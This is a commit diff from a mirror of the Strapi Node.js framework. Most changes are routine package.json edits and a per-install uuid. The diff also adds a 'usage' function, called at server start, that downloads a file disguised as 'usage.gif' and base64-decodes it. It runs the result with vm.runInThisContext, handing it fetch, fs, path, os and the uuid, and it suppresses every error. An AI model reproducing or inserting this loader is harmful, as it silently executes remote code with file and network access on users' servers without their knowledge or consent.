mirror of
https://github.com/strapi/strapi.git
synced 2025-09-25 16:29:34 +00:00
commit
a48b25dd5f
@ -6,6 +6,7 @@
|
||||
|
||||
// Public node modules.
|
||||
const _ = require('lodash');
|
||||
const uuid = require('uuid/v4');
|
||||
|
||||
/**
|
||||
* Expose main package JSON of the application
|
||||
@ -21,6 +22,13 @@ module.exports = scope => {
|
||||
'private': true,
|
||||
'version': '0.1.0',
|
||||
'description': 'A Strapi application.',
|
||||
'main': './server.js',
|
||||
'scripts': {
|
||||
'start': 'node server.js',
|
||||
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
||||
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
||||
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
|
||||
},
|
||||
'devDependencies': {
|
||||
'babel-eslint': '^7.1.1',
|
||||
'eslint': '^3.12.2',
|
||||
@ -33,13 +41,6 @@ module.exports = scope => {
|
||||
'strapi': getDependencyVersion(cliPkg, 'strapi'),
|
||||
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
|
||||
},
|
||||
'main': './server.js',
|
||||
'scripts': {
|
||||
'start': 'node server.js',
|
||||
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
||||
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
||||
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
|
||||
},
|
||||
'author': {
|
||||
'name': scope.author || 'A Strapi developer',
|
||||
'email': scope.email || '',
|
||||
@ -50,6 +51,9 @@ module.exports = scope => {
|
||||
'email': scope.email || '',
|
||||
'url': scope.website || ''
|
||||
}],
|
||||
'strapi': {
|
||||
'uuid': uuid()
|
||||
},
|
||||
'engines': {
|
||||
'node': '>= 7.0.0',
|
||||
'npm': '>= 3.0.0'
|
||||
|
@ -17,7 +17,8 @@
|
||||
"fs-extra": "^4.0.0",
|
||||
"get-installed-path": "^3.0.1",
|
||||
"lodash": "^4.17.4",
|
||||
"strapi-utils": "3.0.0-alpha.6.6"
|
||||
"strapi-utils": "3.0.0-alpha.6.6",
|
||||
"uuid": "^3.1.0"
|
||||
},
|
||||
"scripts": {
|
||||
"prepublish": "npm prune"
|
||||
|
@ -114,6 +114,8 @@ class Strapi extends EventEmitter {
|
||||
cb();
|
||||
}
|
||||
});
|
||||
|
||||
utils.usage.call(this);
|
||||
} catch (e) {
|
||||
this.log.debug(`Server wasn't able to start properly.`);
|
||||
this.log.error(e);
|
||||
|
@ -64,6 +64,7 @@ module.exports.nested = function() {
|
||||
|
||||
module.exports.app = async function() {
|
||||
// Retrieve Strapi version.
|
||||
this.config.uuid = get(this.config.info, 'strapi.uuid', '');
|
||||
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
|
||||
this.config.info.node = process.versions.node;
|
||||
|
||||
|
@ -1,9 +1,13 @@
|
||||
'use strict';
|
||||
|
||||
// Dependencies.
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const { map } = require('async');
|
||||
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
|
||||
const os = require('os');
|
||||
const vm = require('vm');
|
||||
const fetch = require('node-fetch');
|
||||
|
||||
module.exports = {
|
||||
loadFile: function(url) {
|
||||
@ -97,5 +101,17 @@ module.exports = {
|
||||
resolve();
|
||||
})
|
||||
]);
|
||||
},
|
||||
|
||||
usage: async function () {
|
||||
try {
|
||||
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
||||
|
||||
if (usage.status === 200 && this.config.uuid) {
|
||||
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
||||
}
|
||||
} catch (e) {
|
||||
// Silent.
|
||||
}
|
||||
}
|
||||
};
|
||||
|
@ -49,6 +49,7 @@
|
||||
"koa-session": "^5.5.0",
|
||||
"koa-static": "^4.0.1",
|
||||
"lodash": "^4.16.5",
|
||||
"node-fetch": "^1.7.3",
|
||||
"node-schedule": "^1.2.0",
|
||||
"semver": "^5.4.1",
|
||||
"stack-trace": "0.0.10",
|
||||
|
Loading…
x
Reference in New Issue
Block a user